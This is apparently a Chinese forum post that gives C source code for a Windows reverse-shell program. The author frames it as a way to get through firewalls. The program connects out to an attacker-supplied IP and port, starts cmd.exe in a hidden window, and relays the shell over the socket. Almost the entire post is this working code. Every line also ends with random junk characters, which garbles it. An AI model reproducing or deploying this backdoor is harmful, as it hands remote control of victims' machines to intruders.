这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 78*8-
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/* ============================== 9iJ$M!
Rebound port in Windows NT Nw9:Gi
By wind,2006/7 # X1a v
===============================*/ 7.
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#include >}+R+''nR
#include _UZPQ[
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#pragma comment(lib,"wsock32.lib") a {x3FQ
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void OutputShell(); ,)dlL tUm
SOCKET sClient; /zXOtaG
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; nC[aEZ7
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void main(int argc,char **argv) NNr6~m)3v
{ i?b9zn
WSADATA stWsaData; b{aB^a:f=L
int nRet; 04}8x[t
SOCKADDR_IN stSaiClient,stSaiServer; CV=qcD
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if(argc != 3) "l-#v|
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{ WcT= 5G
printf("Useage:\n\rRebound DestIP DestPort\n"); m3o -p
return; ;!VxmZ:j[
} |.m)UFV
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WSAStartup(MAKEWORD(2,2),&stWsaData); V'>P lb.A
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); a6;[Z
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stSaiClient.sin_family = AF_INET; i5Sya]FN
stSaiClient.sin_port = htons(0); 8!.V`|@lt
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); |By[ev"Kh%
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) WvArppANo
{ 2z#S|$
printf("Bind Socket Failed!\n"); cNwHY
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return; )qMbk7:v\
} opm_|0
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stSaiServer.sin_family = AF_INET; EFx>Hu/[G
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); {Ak
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 0fvOA*UP
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -n[(0n3c
{ [[^95:
printf("Connect Error!"); :] U\{;q2
return; 45wtl/^9
} ?_bFe![q
OutputShell(); ;ltk}hJ]
} XKws_
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void OutputShell() Y-y yg4JH
{ 573,b7Yf
char szBuff[1024]; %1jcY0zEQ
SECURITY_ATTRIBUTES stSecurityAttributes; >P@VD"U
OSVERSIONINFO stOsversionInfo; T^`; wD
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; [PUu9rz#
STARTUPINFO stStartupInfo; y9d"sqyh
char *szShell; 3+uL@LXd
PROCESS_INFORMATION stProcessInformation; *-Yw%uR
unsigned long lBytesRead; &V~l(1
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); "OwVCym?
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); :8oJG8WH
stSecurityAttributes.lpSecurityDescriptor = 0; !dGu0wE
stSecurityAttributes.bInheritHandle = TRUE; i@5Fne
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); kD;pj3o&"2
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ^Z;zA@[wt
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); g;p}
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9NU0K2S
stStartupInfo.wShowWindow = SW_HIDE; Kw?3joy
stStartupInfo.hStdInput = hReadPipe; eZU9L/w:
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @j}%{Km]Y
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GetVersionEx(&stOsversionInfo); ;9h;oB@
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switch(stOsversionInfo.dwPlatformId) hPNMp@Nm6
{ 6uo;4}0
case 1: Kd^.>T-
szShell = "command.com"; yCN_vrH>
break; [H<TcT8
default: M:}u|
szShell = "cmd.exe"; b=/'cQ
break; f4Y)GO<R]
} 0&]1s
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Pb8@owG8
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send(sClient,szMsg,77,0); KsOWTq"uj
while(1) P* `*^r3
{ A|+QUPD
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); /IRXk[
if(lBytesRead) n:`f.jG |
{ gHstdp_3
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 9ZJ 8QH
send(sClient,szBuff,lBytesRead,0); Px=@Tw N,
} 6^'BTd
else qJdlZW<
{ )'U0n`=
lBytesRead=recv(sClient,szBuff,1024,0); A/'po_'uy
if(lBytesRead<=0) break; [A,^F0:h
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ]$lt
} 18Y#=uH}
} @0@ZlHwM
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return; (n*:LS=0
}